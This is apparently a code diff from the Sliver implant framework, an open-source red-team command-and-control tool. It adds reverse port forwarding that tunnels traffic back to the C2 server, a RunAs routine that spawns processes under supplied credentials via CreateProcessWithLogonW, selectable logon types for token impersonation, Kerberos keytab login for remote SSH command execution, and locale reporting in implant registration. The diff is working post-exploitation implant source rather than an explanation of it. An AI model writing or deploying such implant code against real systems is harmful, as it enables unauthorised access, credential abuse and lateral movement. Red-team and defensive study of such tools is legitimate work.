+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+
+import (
+	"github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
+)
+
+// GetLocale returns the default language set
+func GetLocale() string {
+	userLocale, err := jibberjabber.DetectIETF()
+	if err != nil {
+		return ""
+	}
+	return userLocale
+}
@@ -0,0 +1,30 @@
+//go:build !darwin && !windows && !linux
+
+package locale
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2021  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+	-----------------------------------------------------------------------
+	Place holder so we don't get undefined functions in generic builds.
+
+*/
+
+// GetLocale returns the default language set
+func GetLocale() string {
+	return ""
+}
@@ -6,6 +6,7 @@
 package netstack

 import (
+	"bytes"
 	"context"
 	"crypto/rand"
 	"encoding/binary"
@@ -23,10 +24,11 @@ import (
 	"golang.zx2c4.com/wireguard/tun"

 	"golang.org/x/net/dns/dnsmessage"
+	"gvisor.dev/gvisor/pkg/bufferv2"
 	"gvisor.dev/gvisor/pkg/tcpip"
 	"gvisor.dev/gvisor/pkg/tcpip/adapters/gonet"
-	"gvisor.dev/gvisor/pkg/tcpip/buffer"
 	"gvisor.dev/gvisor/pkg/tcpip/header"
+	"gvisor.dev/gvisor/pkg/tcpip/link/channel"
 	"gvisor.dev/gvisor/pkg/tcpip/network/ipv4"
 	"gvisor.dev/gvisor/pkg/tcpip/network/ipv6"
 	"gvisor.dev/gvisor/pkg/tcpip/stack"
@@ -37,69 +39,16 @@ import (
 )

 type netTun struct {
+	ep             *channel.Endpoint
 	stack          *stack.Stack
-	dispatcher     stack.NetworkDispatcher
 	events         chan tun.Event
-	incomingPacket chan buffer.VectorisedView
+	incomingPacket chan *bufferv2.View
 	mtu            int
 	dnsServers     []netip.Addr
 	hasV4, hasV6   bool
 }

-type (
-	endpoint netTun
-	Net      netTun
-)
-
-func (e *endpoint) Attach(dispatcher stack.NetworkDispatcher) {
-	e.dispatcher = dispatcher
-}
-
-func (e *endpoint) IsAttached() bool {
-	return e.dispatcher != nil
-}
-
-func (e *endpoint) MTU() uint32 {
-	mtu, err := (*netTun)(e).MTU()
-	if err != nil {
-		panic(err)
-	}
-	return uint32(mtu)
-}
-
-func (*endpoint) Capabilities() stack.LinkEndpointCapabilities {
-	return stack.CapabilityNone
-}
-
-func (*endpoint) MaxHeaderLength() uint16 {
-	return 0
-}
-
-func (*endpoint) LinkAddress() tcpip.LinkAddress {
-	return ""
-}
-
-func (*endpoint) Wait() {}
-
-func (e *endpoint) WritePacket(_ stack.RouteInfo, _ tcpip.NetworkProtocolNumber, pkt *stack.PacketBuffer) tcpip.Error {
-	e.incomingPacket <- buffer.NewVectorisedView(pkt.Size(), pkt.Views())
-	return nil
-}
-
-func (e *endpoint) WritePackets(stack.RouteInfo, stack.PacketBufferList, tcpip.NetworkProtocolNumber) (int, tcpip.Error) {
-	panic("not implemented")
-}
-
-func (e *endpoint) WriteRawPacket(*stack.PacketBuffer) tcpip.Error {
-	panic("not implemented")
-}
-
-func (*endpoint) ARPHardwareType() header.ARPHardwareType {
-	return header.ARPHardwareNone
-}
-
-func (e *endpoint) AddHeader(tcpip.LinkAddress, tcpip.LinkAddress, tcpip.NetworkProtocolNumber, *stack.PacketBuffer) {
-}
+type Net netTun

 func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device, *Net, error) {
 	opts := stack.Options{
@@ -108,13 +57,15 @@ func CreateNetTUN(localAddresses, dnsServers []netip.Addr, mtu int) (tun.Device,
 		HandleLocal:        true,
 	}
 	dev := &netTun{
+		ep:             channel.New(1024, uint32(mtu), ""),
 		stack:          stack.New(opts),
 		events:         make(chan tun.Event, 10),
-		incomingPacket: make(chan buffer.VectorisedView),
+		incomingPacket: make(chan *bufferv2.View),
 		dnsServers:     dnsServers,
 		mtu:            mtu,
 	}
-	tcpipErr := dev.stack.CreateNIC(1, (*endpoint)(dev))
+	dev.ep.AddNotify(dev)
+	tcpipErr := dev.stack.CreateNIC(1, dev.ep)
 	if tcpipErr != nil {
 		return nil, nil, fmt.Errorf("CreateNIC: %v", tcpipErr)
 	}
@@ -167,6 +118,7 @@ func (tun *netTun) Read(buf []byte, offset int) (int, error) {
 	if !ok {
 		return 0, os.ErrClosed
 	}
+
 	return view.Read(buf[offset:])
 }

@@ -176,17 +128,29 @@ func (tun *netTun) Write(buf []byte, offset int) (int, error) {
 		return 0, nil
 	}

-	pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Data: buffer.NewVectorisedView(len(packet), []buffer.View{buffer.NewViewFromBytes(packet)})})
+	pkb := stack.NewPacketBuffer(stack.PacketBufferOptions{Payload: bufferv2.MakeWithData(packet)})
 	switch packet[0] >> 4 {
 	case 4:
-		tun.dispatcher.DeliverNetworkPacket("", "", ipv4.ProtocolNumber, pkb)
+		tun.ep.InjectInbound(header.IPv4ProtocolNumber, pkb)
 	case 6:
-		tun.dispatcher.DeliverNetworkPacket("", "", ipv6.ProtocolNumber, pkb)
+		tun.ep.InjectInbound(header.IPv6ProtocolNumber, pkb)
 	}

 	return len(buf), nil
 }

+func (tun *netTun) WriteNotify() {
+	pkt := tun.ep.Read()
+	if pkt == nil {
+		return
+	}
+
+	view := pkt.ToView()
+	pkt.DecRef()
+
+	tun.incomingPacket <- view
+}
+
 func (tun *netTun) Flush() error {
 	return nil
 }
@@ -197,9 +161,9 @@ func (tun *netTun) Close() error {
 	if tun.events != nil {
 		close(tun.events)
 	}
-	if tun.incomingPacket != nil {
-		close(tun.incomingPacket)
-	}
+
+	tun.ep.Close()
+
 	return nil
 }

@@ -434,11 +398,10 @@ func (pc *PingConn) WriteTo(p []byte, addr net.Addr) (n int, err error) {
 		return 0, fmt.Errorf("ping write: mismatched protocols")
 	}

-	buf := buffer.NewViewFromBytes(p)
-	rdr := buf.Reader()
+	buf := bytes.NewReader(p)
 	rfa, _ := convertToFullAddr(netip.AddrPortFrom(na, 0))
 	// won't block, no deadlines
-	n64, tcpipErr := pc.ep.Write(&rdr, tcpip.WriteOptions{
+	n64, tcpipErr := pc.ep.Write(buf, tcpip.WriteOptions{
 		To: &rfa,
 	})
 	if tcpipErr != nil {
@@ -453,8 +416,8 @@ func (pc *PingConn) Write(p []byte) (n int, err error) {
 }

 func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
-	e, notifyCh := waiter.NewChannelEntry(nil)
-	pc.wq.EventRegister(&e, waiter.EventIn)
+	e, notifyCh := waiter.NewChannelEntry(waiter.EventIn)
+	pc.wq.EventRegister(&e)
 	defer pc.wq.EventUnregister(&e)

 	select {
@@ -488,7 +451,7 @@ func (pc *PingConn) SetDeadline(t time.Time) error {
 }

 func (pc *PingConn) SetReadDeadline(t time.Time) error {
-	pc.deadline.Reset(t.Sub(time.Now()))
+	pc.deadline.Reset(time.Until(t))
 	return nil
 }

@@ -224,8 +224,12 @@ func impersonateUser(username string) (token windows.Token, err error) {

 // MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
 // It then impersonates the resulting token to allow access to remote network resources as the specified user.
-func MakeToken(domain string, username string, password string) error {
+func MakeToken(domain string, username string, password string, logonType uint32) error {
 	var token windows.Token
+	// Default to LOGON32_LOGON_NEW_CREDENTIALS
+	if logonType == 0 {
+		logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
+	}

 	pd, err := windows.UTF16PtrFromString(domain)
 	if err != nil {
@@ -239,7 +243,7 @@ func MakeToken(domain string, username string, password string) error {
 	if err != nil {
 		return err
 	}
-	err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
+	err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("LogonUser failed: %v\n", err)
@@ -275,6 +279,82 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
 	return
 }

+func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
+	// call CreateProcessWithLogonW to create a new process with the specified credentials
+	// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
+	// convert username, domain, password, program, args, env, dir to *uint16
+	u, err := windows.UTF16PtrFromString(username)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid username\n")
+		// {{end}}
+		return
+	}
+	d, err := windows.UTF16PtrFromString(domain)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid domain\n")
+		// {{end}}
+		return
+	}
+	p, err := windows.UTF16PtrFromString(password)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid password\n")
+		// {{end}}
+		return
+	}
+	prog, err := windows.UTF16PtrFromString(program)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid program\n")
+		// {{end}}
+		return
+	}
+	var cmd *uint16
+	if len(args) > 0 {
+		cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
+		if err != nil {
+			// {{if .Config.Debug}}
+			log.Printf("Invalid prog args\n")
+			// {{end}}
+			return
+		}
+	}
+	var e *uint16
+	// env := os.Environ()
+	// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
+	// if err != nil {
+	// 	// {{if .Config.Debug}}
+	// 	log.Printf("Invalid env\n")
+	// 	// {{end}}
+	// 	return
+	// }
+	var di *uint16
+
+	// create a new startup info struct
+	si := &syscalls.StartupInfoEx{
+		StartupInfo: windows.StartupInfo{
+			Flags:      windows.STARTF_USESHOWWINDOW,
+			ShowWindow: uint16(show),
+		},
+	}
+	// create a new process info struct
+	pi := &windows.ProcessInformation{}
+	// call CreateProcessWithLogonW
+	var logonFlags uint32 = 0
+	if netonly {
+		logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
+	}
+	err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("CreateProcessWithLogonW failed: %v\n", err)
+		// {{end}}
+	}
+	return
+}
+
 // RunProcessAsUser - Retrieve a primary token belonging to username
 // and starts a new process using that token.
 func RunProcessAsUser(username, command, args string) (out string, err error) {
@@ -0,0 +1,251 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"context"
+	"encoding/binary"
+	"io"
+	"math/rand"
+	"net"
+	"strconv"
+	"sync"
+	"time"
+
+	"github.com/bishopfox/sliver/implant/sliver/tcpproxy"
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+)
+
+var (
+	// Portfwds - Struct instance that holds all the portfwds
+	Portfwds = portfwds{
+		forwards: map[int]*Portfwd{},
+		mutex:    &sync.RWMutex{},
+	}
+
+	portfwdID = 0
+)
+
+// PortfwdMeta - Metadata about a portfwd listener
+type PortfwdMeta struct {
+	ID         int
+	SessionID  string
+	BindAddr   string
+	RemoteAddr string
+}
+
+// Portfwd - Tracks portfwd<->tcpproxy
+type Portfwd struct {
+	ID           int
+	TCPProxy     *tcpproxy.Proxy
+	ChannelProxy *ChannelProxy
+}
+
+// GetMetadata - Get metadata about the portfwd
+func (p *Portfwd) GetMetadata() *PortfwdMeta {
+	return &PortfwdMeta{
+		ID:         p.ID,
+		BindAddr:   p.ChannelProxy.BindAddr,
+		RemoteAddr: p.ChannelProxy.RemoteAddr,
+	}
+}
+
+type portfwds struct {
+	forwards map[int]*Portfwd
+	mutex    *sync.RWMutex
+}
+
+// Add - Add a TCP proxy instance
+func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd {
+	f.mutex.Lock()
+	defer f.mutex.Unlock()
+	portfwd := &Portfwd{
+		ID:           nextPortfwdID(),
+		TCPProxy:     tcpProxy,
+		ChannelProxy: channelProxy,
+	}
+	f.forwards[portfwd.ID] = portfwd
+	return portfwd
+}
+
+// Remove - Remove a TCP proxy instance
+func (f *portfwds) Remove(portfwdID int) *Portfwd {
+	f.mutex.Lock()
+	defer f.mutex.Unlock()
+	if portfwd, ok := f.forwards[portfwdID]; ok {
+		portfwd.TCPProxy.Close()
+		delete(f.forwards, portfwdID)
+		return portfwd
+	}
+	return nil
+}
+
+// List - List all TCP proxy instances
+func (f *portfwds) List() []*PortfwdMeta {
+	f.mutex.RLock()
+	defer f.mutex.RUnlock()
+	portForwards := []*PortfwdMeta{}
+	for _, portfwd := range f.forwards {
+		portForwards = append(portForwards, portfwd.GetMetadata())
+	}
+	return portForwards
+}
+
+// ChannelProxy binds the Sliver Tunnel to a net.Conn object
+// one ChannelProxy per port bind.
+//
+// Implements the Target interface from tcpproxy pkg
+type ChannelProxy struct {
+	Conn *transports.Connection
+	//Session  *clientpb.Session
+
+	BindAddr        string
+	RemoteAddr      string
+	KeepAlivePeriod time.Duration
+	DialTimeout     time.Duration
+}
+
+// HandleConn - Handle a TCP connection
+func (p *ChannelProxy) HandleConn(src net.Conn) {
+	// {{if .Config.Debug}}
+	log.Printf("[tcpproxy] Handling new connection")
+	// {{end}}
+	ctx := context.Background()
+	var cancelContext context.CancelFunc
+	if p.DialTimeout >= 0 {
+		ctx, cancelContext = context.WithTimeout(ctx, p.dialTimeout())
+	}
+	if conn, ok := src.(*net.TCPConn); ok {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Configuring keep alive")
+		// {{end}}
+		conn.SetKeepAlive(true)
+		// TODO: Make KeepAlive configurable
+		conn.SetKeepAlivePeriod(30 * time.Second)
+	}
+	// Add tunnel
+	// {{if .Config.Debug}}
+	log.Printf("[rportfwd] Creating tcp tunnel")
+	// {{end}}
+
+	tId := NewTunnelID()
+	// {{if .Config.Debug}}
+	log.Printf("[tcpproxy] Created new tunnel with id %d", tId)
+	// {{end}}
+
+	tunnel := transports.NewTunnel(
+		tId,
+		src,
+		src,
+	)
+	p.Conn.AddTunnel(tunnel)
+	cleanup := func(reason error) {
+		// {{if .Config.Debug}}
+		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
+		// {{end}}
+		tunnel := p.Conn.Tunnel(tunnel.ID)
+		if tunnel != nil {
+			p.Conn.RemoveTunnel(tunnel.ID)
+		}
+		src.Close()
+		cancelContext()
+	}
+
+	go func() {
+		tWriter := tunnelWriter{
+			tun:      tunnel,
+			conn:     p.Conn,
+			host:     p.Host(),
+			port:     p.Port(),
+			protocol: sliverpb.PortFwdProtoTCP,
+			tunnelID: tId,
+		}
+		// portfwd only uses one reader, hence the tunnel.Readers[0]
+		n, err := io.Copy(tWriter, tunnel.Readers[0])
+		_ = n // avoid not used compiler error if debug mode is disabled
+		// {{if .Config.Debug}}
+		log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
+		// {{end}}
+
+		cleanup(err)
+	}()
+}
+
+// HostPort - Returns the host and port of the TCP proxy
+func (p *ChannelProxy) HostPort() (string, uint32) {
+	defaultPort := uint32(8080)
+	host, rawPort, err := net.SplitHostPort(p.RemoteAddr)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("Failed to parse addr %s", p.RemoteAddr)
+		// {{end}}
+		return "", defaultPort
+	}
+	portNumber, err := strconv.Atoi(rawPort)
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("Failed to parse number from %s", rawPort)
+		// {{end}}
+		return "", defaultPort
+	}
+	port := uint32(portNumber)
+	if port < 1 || 65535 < port {
+		// {{if .Config.Debug}}
+		log.Printf("Invalid port number %d", port)
+		// {{end}}
+		return "", defaultPort
+	}
+	return host, port
+}
+
+// Port - Returns the TCP port of the proxy
+func (p *ChannelProxy) Port() uint32 {
+	_, port := p.HostPort()
+	return port
+}
+
+// Host - Returns the host (i.e., interface) of the TCP proxy
+func (p *ChannelProxy) Host() string {
+	host, _ := p.HostPort()
+	return host
+}
+
+func (p *ChannelProxy) dialTimeout() time.Duration {
+	if p.DialTimeout > 0 {
+		return p.DialTimeout
+	}
+	return 30 * time.Second
+}
+
+func nextPortfwdID() int {
+	portfwdID++
+	return portfwdID
+}
+
+// NewTunnelID - New 64-bit identifier
+func NewTunnelID() uint64 {
+	randBuf := make([]byte, 8)
+	rand.Read(randBuf)
+	return binary.LittleEndian.Uint64(randBuf)
+}
@@ -0,0 +1,71 @@
+package rportfwd
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+
+	"github.com/bishopfox/sliver/implant/sliver/transports"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+// tunnelWriter - Sends data back to the server based on data read()
+// I know the reader/writer stuff is a little hard to keep track of
+type tunnelWriter struct {
+	tun      *transports.Tunnel
+	conn     *transports.Connection
+	host     string
+	port     uint32
+	protocol int
+	tunnelID uint64
+}
+
+func (tw tunnelWriter) Write(data []byte) (int, error) {
+	n := len(data)
+	createReverse := false
+	rportfwdInfo := &sliverpb.RPortfwd{}
+	if tw.tun.WriteSequence() == 0 {
+		createReverse = true
+		rportfwdInfo.Host = tw.host
+		rportfwdInfo.Port = tw.port
+		rportfwdInfo.Protocol = int32(tw.protocol)
+		rportfwdInfo.TunnelID = tw.tunnelID
+	}
+	data, err := proto.Marshal(&sliverpb.TunnelData{
+		Sequence:      tw.tun.WriteSequence(), // The tunnel write sequence
+		Ack:           tw.tun.ReadSequence(),
+		TunnelID:      tw.tun.ID,
+		Data:          data,
+		CreateReverse: createReverse,
+		Rportfwd:      rportfwdInfo,
+	})
+	// {{if .Config.Debug}}
+	log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
+	// {{end}}
+	tw.tun.IncWriteSequence() // Increment write sequence
+	tw.conn.Send <- &sliverpb.Envelope{
+		Type: sliverpb.MsgTunnelData,
+		Data: data,
+	}
+	return n, err
+}
@@ -1,5 +1,23 @@
 package service

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
 	"fmt"
 	"time"
@@ -3,15 +3,21 @@ package ssh
 import (
 	"bytes"
 	"fmt"
+	"io/ioutil"
+
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}

 	"net"
 	"os"

+	"github.com/yiya1989/sshkrb5/krb5forssh"
 	"golang.org/x/crypto/ssh"
 	"golang.org/x/crypto/ssh/agent"
 )

-func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
+func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
 	var authMethods []ssh.AuthMethod
 	if password != "" {
 		// Try password auth first
@@ -23,6 +29,17 @@ func getClient(host string, port uint16, username string, password string, privK
 			return nil, err
 		}
 		authMethods = append(authMethods, ssh.PublicKeys(signer))
+	} else if krb5conf != "" && keytab != nil && realm != "" {
+		// Then try kerberos auth
+		krb5ConfData, err := ioutil.ReadFile(krb5conf)
+		if err != nil {
+			return nil, err
+		}
+		sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
+		if err != nil {
+			return nil, err
+		}
+		authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
 	} else {
 		// Use ssh-agent if neither password nor private key has been provided
 		// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
@@ -35,6 +52,10 @@ func getClient(host string, port uint16, username string, password string, privK
 		authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
 	}

+	// {{if .Config.Debug}}
+	log.Printf("Auth methods: %+v\n", authMethods)
+	// {{end}}
+
 	config := &ssh.ClientConfig{
 		User: username,
 		Auth: authMethods,
@@ -53,12 +74,12 @@ func getClient(host string, port uint16, username string, password string, privK
 }

 // RunSSHCommand - SSH to a host and execute a command
-func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
+func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
 	var (
 		stdout bytes.Buffer
 		stderr bytes.Buffer
 	)
-	sshc, err := getClient(host, port, username, password, privKey)
+	sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
 	if err != nil {
 		return "", "", err
 	}
@@ -51,6 +51,7 @@ import (
 	consts "github.com/bishopfox/sliver/implant/sliver/constants"
 	"github.com/bishopfox/sliver/implant/sliver/handlers"
 	"github.com/bishopfox/sliver/implant/sliver/hostuuid"
+	"github.com/bishopfox/sliver/implant/sliver/locale"
 	"github.com/bishopfox/sliver/implant/sliver/limits"
 	"github.com/bishopfox/sliver/implant/sliver/pivots"
 	"github.com/bishopfox/sliver/implant/sliver/transports"
@@ -67,14 +68,7 @@ import (
 )

 var (
-	InstanceID string
-
-	c2Servers = []string{
-		// {{range $index, $value := .Config.C2}}
-		"{{$value}}", // {{$index}}
-		// {{end}}
-	}
-
+	InstanceID       string
 	connectionErrors = 0
 )

@@ -202,7 +196,7 @@ func beaconStartup() {
 	defer func() {
 		abort <- struct{}{}
 	}()
-	beacons := transports.StartBeaconLoop(c2Servers, abort)
+	beacons := transports.StartBeaconLoop(abort)
 	for beacon := range beacons {
 		// {{if .Config.Debug}}
 		log.Printf("Next beacon = %v", beacon)
@@ -234,7 +228,7 @@ func sessionStartup() {
 	defer func() {
 		abort <- struct{}{}
 	}()
-	connections := transports.StartConnectionLoop(c2Servers, abort)
+	connections := transports.StartConnectionLoop(abort)
 	for connection := range connections {
 		if connection != nil {
 			err := sessionMainLoop(connection)
@@ -300,8 +294,8 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		Register:    register,
 		NextCheckin: int64(beacon.Duration().Seconds()),
 	}))
-	beacon.Close()
 	time.Sleep(time.Second)
+	beacon.Close()

 	// BeaconMain - Is executed in it's own goroutine as the function will block
 	// until all tasks complete (in success or failure), if a task handler blocks
@@ -353,6 +347,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 		// {{if .Config.Debug}}
 		log.Printf("[beacon] closing ...")
 		// {{end}}
+		time.Sleep(time.Second)
 		beacon.Close()
 	}()
 	// {{if .Config.Debug}}
@@ -480,9 +475,7 @@ func openSessionHandler(data []byte) {
 		log.Printf("[beacon] failed to parse open session msg: %s", err)
 		// {{end}}
 	}
-	// {{if .Config.Debug}}
-	log.Printf("[beacon] open session -> %v", openSession.C2S)
-	// {{end}}
+
 	if openSession.Delay != 0 {
 		// {{if .Config.Debug}}
 		log.Printf("[beacon] delay %s", time.Duration(openSession.Delay))
@@ -492,7 +485,7 @@ func openSessionHandler(data []byte) {

 	go func() {
 		abort := make(chan struct{})
-		connections := transports.StartConnectionLoop(openSession.C2S, abort)
+		connections := transports.StartConnectionLoop(abort)
 		defer func() { abort <- struct{}{} }()
 		connectionAttempts := 0
 		for connection := range connections {
@@ -548,6 +541,7 @@ func sessionMainLoop(connection *transports.Connection) error {
 	tunHandlers := handlers.GetTunnelHandlers()
 	sysHandlers := handlers.GetSystemHandlers()
 	specialHandlers := handlers.GetSpecialHandlers()
+	rportfwdHandlers := handlers.GetRportFwdHandlers()

 	for envelope := range connection.Recv {
 		if handler, ok := specialHandlers[envelope.Type]; ok {
@@ -560,6 +554,11 @@ func sessionMainLoop(connection *transports.Connection) error {
 			log.Printf("[recv] pivotHandler with type %d", envelope.Type)
 			// {{end}}
 			go handler(envelope, connection)
+		} else if handler, ok := rportfwdHandlers[envelope.Type]; ok {
+			// {{if .Config.Debug}}
+			log.Printf("[recv] rportfwdHandler with type %d", envelope.Type)
+			// {{end}}
+			go handler(envelope, connection)
 		} else if handler, ok := sysHandlers[envelope.Type]; ok {
 			// Beware, here be dragons.
 			// This is required for the specific case of token impersonation:
@@ -684,5 +683,6 @@ func registerSliver() *sliverpb.Register {
 		ReconnectInterval: int64(transports.GetReconnectInterval()),
 		ConfigID:          "{{ .Config.ID }}",
 		PeerID:            pivots.MyPeerID,
+		Locale:            locale.GetLocale(),
 	}
 }
@@ -1,12 +1,31 @@
 //go:build windows
-// +build windows

 package spoof

+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
 import (
-	"golang.org/x/sys/windows"
 	"os/exec"
 	"syscall"
+
+	"golang.org/x/sys/windows"
+
 	// {{if .Config.Debug}}
 	"log"
 	// {{end}}
@@ -9,6 +9,7 @@ package syscalls
 //sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
 //sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
 //sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
+//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
 //sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
 //sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
 //sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx
@@ -62,6 +62,7 @@ var (
 	procGetDC                             = modUser32.NewProc("GetDC")
 	procGetDesktopWindow                  = modUser32.NewProc("GetDesktopWindow")
 	procReleaseDC                         = modUser32.NewProc("ReleaseDC")
+	procCreateProcessWithLogonW           = modadvapi32.NewProc("CreateProcessWithLogonW")
 	procImpersonateLoggedOnUser           = modadvapi32.NewProc("ImpersonateLoggedOnUser")
 	procLogonUserW                        = modadvapi32.NewProc("LogonUserW")
 	procLookupPrivilegeDisplayNameW       = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
@@ -222,6 +223,14 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
 	return
 }

+func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
